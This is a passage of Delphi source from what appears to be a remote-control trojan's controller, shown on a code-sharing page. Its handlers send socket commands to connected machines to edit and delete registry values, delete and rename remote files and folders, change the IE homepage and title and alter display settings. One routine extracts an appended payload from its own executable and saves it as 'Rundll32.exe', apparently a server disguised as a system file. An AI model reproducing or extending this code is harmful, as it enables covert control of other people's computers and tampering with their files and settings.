📄 unit1.pas
字号:
var Lem: TListItem;
begin//新建SZ值
if REGLV.Items.Count<1 then exit;
number();
Lem := REGLV.Items.Add;
Lem.Caption := '新值 #'+inttostr(renum);
Lem.StateIndex :=4;
ss.Socket.Connections[fullip].SendText('310'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+Lem.Caption );
REGLV.Items[REGLV.Items.Count-1].SubItems.Add('REG_SZ');
REGLV.Items[REGLV.Items.Count-1].SubItems.Add('未设值');
REGLV.Items[REGLV.Items.Count-1].Selected:=true;
end;
procedure TForm1.MenuItem14Click(Sender: TObject);
var Lem: TListItem;
begin//新建DWORD值
if REGLV.Items.Count<1 then exit;
number();
Lem := REGLV.Items.Add;
Lem.Caption := '新值 #'+inttostr(renum);
Lem.StateIndex :=5;
ss.Socket.Connections[fullip].SendText('311'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+Lem.Caption );
REGLV.Items[REGLV.Items.Count-1].SubItems.Add('REG_DWORD');
REGLV.Items[REGLV.Items.Count-1].SubItems.Add('未设值');
REGLV.Items[REGLV.Items.Count-1].Selected:=true;
end;
procedure TForm1.MenuItem15Click(Sender: TObject);
var Lem: TListItem;
begin//新建二进制值
if REGLV.Items.Count<1 then exit;
number();
Lem := REGLV.Items.Add;
Lem.Caption := '新值 #'+inttostr(renum);
Lem.StateIndex :=5;
ss.Socket.Connections[fullip].SendText('312'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+Lem.Caption );
REGLV.Items[REGLV.Items.Count-1].SubItems.Add('REG_BINARY');
REGLV.Items[REGLV.Items.Count-1].SubItems.Add('二进制值');
REGLV.Items[REGLV.Items.Count-1].Selected:=true;
end;
procedure TForm1.MenuItem18Click(Sender: TObject);
var ss:integer;
begin//子键名更名
if REGLV.ItemIndex =-1 then exit;
if REGLV.Items.Count<1 then exit;
ss:=REGLV.Selected.Index ;
if ss<1 then exit;
REGLV.ReadOnly :=false;
REGLV.Items[ss].EditCaption ;
end;
procedure TForm1.REGLVEdited(Sender: TObject; Item: TListItem;
var S: String);
VAR pt,pa:string;
begin //键值更名
i:=0;
pt:=sb.Panels.Items[0].Text;
while pa<>'\' do
begin
i:=i+1;
pa:=COPY(pt,length(pt)-i,1);
end;
ss.Socket.Connections[fullip].SendText('320'+copy(pt,10,length(pt)-9)+'*'+REGLV.Selected.Caption+'*'+S);
end;
procedure TForm1.MenuItem11Click(Sender: TObject);
begin//修改键值
if REGLV.ItemIndex =-1 then
begin
application.MessageBox('您没有选择需要修改的键名!','提示');
exit;
end;
eds();
end;
procedure TForm1.REGLVDblClick(Sender: TObject);
begin//修改键值
if REGLV.ItemIndex =-1 then
begin
application.MessageBox('您没有选择需要修改的键名!','提示');
exit;
end;
eds();
end;
procedure TForm1.MenuItem17Click(Sender: TObject);
var st:pchar;
begin //删除键值
if REGLV.ItemIndex =-1 then
begin
application.MessageBox('您没有选择需要删除的键名!','提示');
exit;
end;
if REGLV.ItemIndex =0 then
begin
application.MessageBox('该键名不能删除!','提示');
exit;
end;
st:=pchar('你真的要删除:'+'“ '+REGLV.Selected.Caption +' ”'+'吗?' );
if application.MessageBox(st,'警告:该操作将不能恢复!',mb_yesno)=idyes then
begin
ss.Socket.Connections[fullip].SendText('340'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+REGLV.Selected.Caption);
REGLV.Selected.Delete ;
end;
end;
procedure TForm1.FLV1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
VAR oldnam:string;
begin//远程文件删除
if key=46 then
begin
if FLV1.ItemIndex =-1 then
begin
application.MessageBox('你还没有选择要删除的文件!','提示');
exit;
end;
if application.MessageBox('你真的要这样吗?','警告!',mb_yesno)=idyes then
begin
if copy(sb.Panels.Items[0].Text,length(sb.Panels.Items[0].Text),1)='\' then
oldnam:=sb.Panels.Items[0].Text
else
oldnam:=sb.Panels.Items[0].Text+'\';
command('157'+oldnam+FLV1.Selected.Caption);
end;
end;
if key=113 then
begin//远程文件更名
if FLV1.ItemIndex =-1 then
begin
application.MessageBox('你还没有选择要更名的文件!','提示');
exit;
end;
filname:=InputBox('文件更名','请输入更改后的文件名: ',FLV1.Selected.Caption);
if filname='' then exit;
if copy(sb.Panels.Items[0].Text,length(sb.Panels.Items[0].Text),1)='\' then
oldnam:=sb.Panels.Items[0].Text
else
oldnam:=sb.Panels.Items[0].Text+'\';
command('156'+oldnam+'>>>'+FLV1.Selected.Caption+'>>>'+filname);
end;
end;
procedure TForm1.REGLVKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var st:pchar;
sts:integer;
begin //注册注册表键值
if key=46 then
begin
if REGLV.ItemIndex =-1 then
begin
application.MessageBox('您没有选择需要删除的键名!','提示');
exit;
end;
if REGLV.ItemIndex =0 then
begin
application.MessageBox('该键名不能删除!','提示');
exit;
end;
st:=pchar('你真的要删除:'+'“ '+REGLV.Selected.Caption +' ”'+'吗?' );
if application.MessageBox(st,'警告:该操作将不能恢复!',mb_yesno)=idyes then
begin
ss.Socket.Connections[fullip].SendText('340'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+REGLV.Selected.Caption);
REGLV.Selected.Delete ;
end;
end;
if key=113 then
begin//子键名更名
if REGLV.ItemIndex =-1 then exit;
if REGLV.Items.Count<1 then exit;
sts:=REGLV.Selected.Index ;
if sts<1 then exit;
REGLV.ReadOnly :=false;
REGLV.Items[sts].EditCaption ;
end;
end;
procedure TForm1.stckClickCheck(Sender: TObject);
begin
try
if stck.Checked[stck.ItemIndex]=true then
ss.Socket.Connections[fullip].SendText(inttostr(350+stck.ItemIndex));
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.Label8Click(Sender: TObject);
begin//查看IE标题栏
command('385');
end;
procedure TForm1.IEE1KeyPress(Sender: TObject; var Key: Char);
begin//设置IE标题栏
if key=chr(27) then
begin
IEE1.Clear;
IEE1.Color :=clInfoBk;
exit;
end;
if key=chr(13) then
begin
command('386'+IEE1.Text);
IEE1.Color :=clInfoBk;
end;
end;
procedure TForm1.Label12Click(Sender: TObject);
begin//查看IE主页
command('387');
end;
procedure TForm1.IEE2KeyPress(Sender: TObject; var Key: Char);
begin//设置主页网址
if key=chr(27) then
begin
IEE2.Clear;
IEE2.Color :=clInfoBk;
exit;
end;
if key=chr(13) then
begin
command('388'+IEE2.Text );
IEE2.Color :=clInfoBk;
end;
end;
procedure TForm1.T1Change(Sender: TObject);
begin//窗口标题栏高度
command('390'+inttostr(t1.Value));
e1.Text :=inttostr(t1.Value);
end;
procedure TForm1.T2Change(Sender: TObject);
begin//窗口标题栏宽度
command('391'+inttostr(t2.Value));
e2.Text :=inttostr(t2.Value);
end;
procedure TForm1.T3Change(Sender: TObject);
begin//窗口菜单栏高度
command('392'+inttostr(t3.Value));
e3.Text :=inttostr(t3.Value);
end;
procedure TForm1.T4Change(Sender: TObject);
begin//窗口菜单栏宽度
command('393'+inttostr(t4.Value));
e4.Text :=inttostr(t4.Value);
end;
procedure TForm1.T5Change(Sender: TObject);
begin//滚动条高度
command('394'+inttostr(t5.Value));
e5.Text :=inttostr(t5.Value);
end;
procedure TForm1.T6Change(Sender: TObject);
begin//滚动条宽度
command('395'+inttostr(t6.Value));
e6.Text :=inttostr(t6.Value);
end;
procedure TForm1.T7Change(Sender: TObject);
begin//桌面图标大小
command('396'+inttostr(t7.Value));
e7.Text :=inttostr(t7.Value);
end;
procedure TForm1.L1Click(Sender: TObject);
begin
command('390270');
e1.Text :='270';
t1.Value :=270;
end;
procedure TForm1.L2DblClick(Sender: TObject);
begin
command('391270');
e2.Text :='270';
t2.Value :=270;
end;
procedure TForm1.L3DblClick(Sender: TObject);
begin
command('392270');
e3.Text :='270';
t3.Value :=270;
end;
procedure TForm1.L4DblClick(Sender: TObject);
begin
command('393270');
e4.Text :='270';
t4.Value :=270;
end;
procedure TForm1.L5DblClick(Sender: TObject);
begin
command('394240');
e5.Text :='240';
t5.Value :=240;
end;
procedure TForm1.L6DblClick(Sender: TObject);
begin
command('395240');
e6.Text :='240';
t6.Value :=240;
end;
procedure TForm1.L7DblClick(Sender: TObject);
begin
command('39632');
e7.Text :='32';
t7.Value :=32;
end;
procedure TForm1.pasedKeyPress(Sender: TObject; var Key: Char);
begin
if key=chr(13) then
begin
if IPVI.ItemIndex =-1 then
begin
application.MessageBox('你还没有选择要连接的IP地址!','提示');
exit;
end;
ss.Socket.Connections[IPVI.Selected.Index].SendText('007'+pased.Text);
end;
end;
procedure TForm1.sverClick(Sender: TObject);
var fme:TMemoryStream;
clf:TfileStream;
size:integer;
stf:string;
begin
stf:=ExtractFilePath(Paramstr(0))+'Rundll32.exe';
if fileexists(stf) then deletefile(stf);
fme:=TMemoryStream.Create;
clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);
try
clf.Seek(-sizeof(size),soFromEnd);
clf.ReadBuffer(size,sizeof(size));
clf.Seek(-size,soFromEnd);
fme.CopyFrom(clf,size-sizeof(size));
fme.SaveToFile(stf);
finally
fme.Free;
clf.Free;
end;
form4.Visible :=true;
FORM4.T1.Enabled :=TRUE;
form1.Enabled :=false;
end;
procedure TForm1.FCBChange(Sender: TObject);
begin//选择驱动器时
command('130'+FCB.Text+'>>>'+EXCB.Text);
end;
procedure TForm1.EXCBKeyPress(Sender: TObject; var Key: Char);
begin//改扩展名时
if key<>chr(13) then exit;
excb.Text :=UpperCase(excb.Text);
IF copy(excb.Text,1,2)<>'*.' then
begin
excb.Text:='*.*';
command('131'+sb.Panels.Items[0].Text+'>>>'+EXCB.Text);
exit;
end;
command('131'+sb.Panels.Items[0].Text+'>>>'+EXCB.Text);
end;
procedure TForm1.FTVDblClick(Sender: TObject);
begin//选择目录时
command('131'+sb.Panels.Items[0].Text+'>>>'+EXCB.Text);
end;
procedure TForm1.FTVKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var ATM: TTreeNode;
STP: string;
begin //回车展开子项
if key=13 then
command('131'+sb.Panels.Items[0].Text+'>>>'+EXCB.Text);
if key=46 then//删除文件夹
begin//远程目录删除
IF length(SB.Panels.Items[0].Text)<3 then
begin
application.MessageBox('不能删除驱动器','注意');
exit;
end;
if application.MessageBox('这个操作将清除该文件夹下的所有文件!'+chr(13)+'你真的要这样吗???','严重警告!!!',mb_yesno)=idyes then
begin
try
ss.Socket.Connections[fullip].SendText('152'+sb.Panels.Items[0].Text );
FTV.Selected.Expand(True);
STP := '';
ATM := FTV.Selected;
while Assigned(ATM) do
begin
STP := ATM.Text+'\'+STP;
ATM := ATM.Parent;
end;
SetLength(STP,Length(STP)-1);
sb.Panels.Items[0].Text :=STP;
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
end;
if key=113 then //更名
begin
if FTV.Selected.Level <1 then EXIT;
FTV.ReadOnly :=false;
FTV.Selected.EditText ;
end;
end;
procedure TForm1.FLV1DblClick(Sender: TObject);
begin//选择文件时
command('132'+sb.Panels.Items[0].Text+'\'+FLV1.Selected.Caption );
end;
procedure TForm1.N6Click(Sender: TObject);
begin//远程新建目录名
dirname:=InputBox('新建文件夹','请输入文件夹名: ','');
if dirname='' then exit;
command('150'+sb.Panels.Items[0].Text+'\'+dirname);
end;
procedure TForm1.N8Click(Sender: TObject);
var ATM: TTreeNode;
STP: string;
begin//远程目录删除
IF length(SB.Panels.Items[0].Text)<3 then
begin
application.MessageBox('不能删除驱动器','注意');
exit;
end;
if application.MessageBox('这个操作将清除该文件夹下的所有文件!'+chr(13)+'你真的要这样吗???','严重警告!!!',mb
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -